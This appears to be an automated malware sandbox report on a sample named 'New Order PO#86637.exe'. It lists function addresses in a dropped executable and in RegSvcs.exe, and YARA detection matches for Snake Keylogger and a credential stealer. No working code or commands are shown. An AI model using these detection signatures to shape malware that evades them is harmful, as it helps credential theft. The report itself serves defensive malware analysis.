Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06541E80	3_2_06541E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_065417A0	3_2_065417A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06549C70	3_2_06549C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654FC68	3_2_0654FC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06549548	3_2_06549548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06540B30	3_2_06540B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06545028	3_2_06545028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06542968	3_2_06542968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06541E70	3_2_06541E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654DE00	3_2_0654DE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654E6B0	3_2_0654E6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654E6AA	3_2_0654E6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654EF51	3_2_0654EF51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654EF60	3_2_0654EF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654178F	3_2_0654178F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654CC8F	3_2_0654CC8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654CCA0	3_2_0654CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654D550	3_2_0654D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654D540	3_2_0654D540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654DDF2	3_2_0654DDF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654E258	3_2_0654E258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654E24A	3_2_0654E24A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654EAF8	3_2_0654EAF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654EB08	3_2_0654EB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06540B20	3_2_06540B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06549328	3_2_06549328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06549BFA	3_2_06549BFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06548B91	3_2_06548B91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654F3B8	3_2_0654F3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06548BA0	3_2_06548BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654F3A8	3_2_0654F3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06540040	3_2_06540040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654F810	3_2_0654F810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06545018	3_2_06545018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654F802	3_2_0654F802
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654003F	3_2_0654003F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654D0F8	3_2_0654D0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654295A	3_2_0654295A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654D999	3_2_0654D999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0654D9A8	3_2_0654D9A8
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0042200C	5_2_0042200C
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0041A217	5_2_0041A217
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00412216	5_2_00412216
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0042435D	5_2_0042435D
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004033C0	5_2_004033C0
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044F430	5_2_0044F430
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004125E8	5_2_004125E8
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044663B	5_2_0044663B
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004096A0	5_2_004096A0
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00413801	5_2_00413801
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0042096F	5_2_0042096F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004129D0	5_2_004129D0
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004119E3	5_2_004119E3
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0041C9AE	5_2_0041C9AE
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0047EA6F	5_2_0047EA6F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0040FA10	5_2_0040FA10
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044EB5F	5_2_0044EB5F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00423C81	5_2_00423C81
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00411E78	5_2_00411E78
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00442E0C	5_2_00442E0C
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00420EC0	5_2_00420EC0
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044CF17	5_2_0044CF17
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00444FD2	5_2_00444FD2
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_046486A0	5_2_046486A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250D278	6_2_0250D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02505362	6_2_02505362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250A088	6_2_0250A088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250C146	6_2_0250C146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250C738	6_2_0250C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250C468	6_2_0250C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250CA08	6_2_0250CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250E988	6_2_0250E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_025069A0	6_2_025069A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02503E09	6_2_02503E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02506FC8	6_2_02506FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250CFAA	6_2_0250CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250CCD8	6_2_0250CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_02503AA1	6_2_02503AA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250F974	6_2_0250F974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0250E97A	6_2_0250E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_025029EC	6_2_025029EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFFC68	6_2_04CFFC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF9C70	6_2_04CF9C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF9548	6_2_04CF9548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF1E80	6_2_04CF1E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF17A0	6_2_04CF17A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF5028	6_2_04CF5028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF2968	6_2_04CF2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF0B30	6_2_04CF0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFCCA0	6_2_04CFCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF9C09	6_2_04CF9C09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFDDFF	6_2_04CFDDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFD550	6_2_04CFD550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFE6AF	6_2_04CFE6AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFE6B0	6_2_04CFE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF1E70	6_2_04CF1E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFDE00	6_2_04CFDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF178F	6_2_04CF178F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFEF60	6_2_04CFEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFD0F8	6_2_04CFD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF0040	6_2_04CF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF0007	6_2_04CF0007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF501E	6_2_04CF501E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFF810	6_2_04CFF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFD9A8	6_2_04CFD9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFD9A7	6_2_04CFD9A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFE258	6_2_04CFE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFE257	6_2_04CFE257
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8B91	6_2_04CF8B91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8BA0	6_2_04CF8BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFF3B8	6_2_04CFF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CFEB08	6_2_04CFEB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF9328	6_2_04CF9328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF0B20	6_2_04CF0B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B70C0	6_2_052B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052BD710	6_2_052BD710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6120	6_2_052B6120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B4500	6_2_052B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B3560	6_2_052B3560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B1940	6_2_052B1940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B09A0	6_2_052B09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6DA0	6_2_052B6DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B5180	6_2_052B5180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B41E0	6_2_052B41E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B99C8	6_2_052B99C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B25C0	6_2_052B25C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B41D0	6_2_052B41D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B4820	6_2_052B4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0036	6_2_052B0036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B2C00	6_2_052B2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B1C60	6_2_052B1C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0040	6_2_052B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6440	6_2_052B6440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B54A0	6_2_052B54A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B3880	6_2_052B3880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B28E0	6_2_052B28E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0CC0	6_2_052B0CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B2F20	6_2_052B2F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B1300	6_2_052B1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0360	6_2_052B0360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6760	6_2_052B6760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B4B40	6_2_052B4B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0350	6_2_052B0350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6750	6_2_052B6750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B3BA0	6_2_052B3BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B1F80	6_2_052B1F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0FE0	6_2_052B0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B57C0	6_2_052B57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B1620	6_2_052B1620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B5E00	6_2_052B5E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B4E60	6_2_052B4E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6A70	6_2_052B6A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052BEE48	6_2_052BEE48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B3240	6_2_052B3240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B22A0	6_2_052B22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B0680	6_2_052B0680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B6A80	6_2_052B6A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B5AE0	6_2_052B5AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_052B3EC0	6_2_052B3EC0

Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: String function: 00445AE0 appears 55 times
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: String function: 00445AE0 appears 55 times

Source: New Order PO#86637.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000006.00000002.4535184676.0000000000363000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

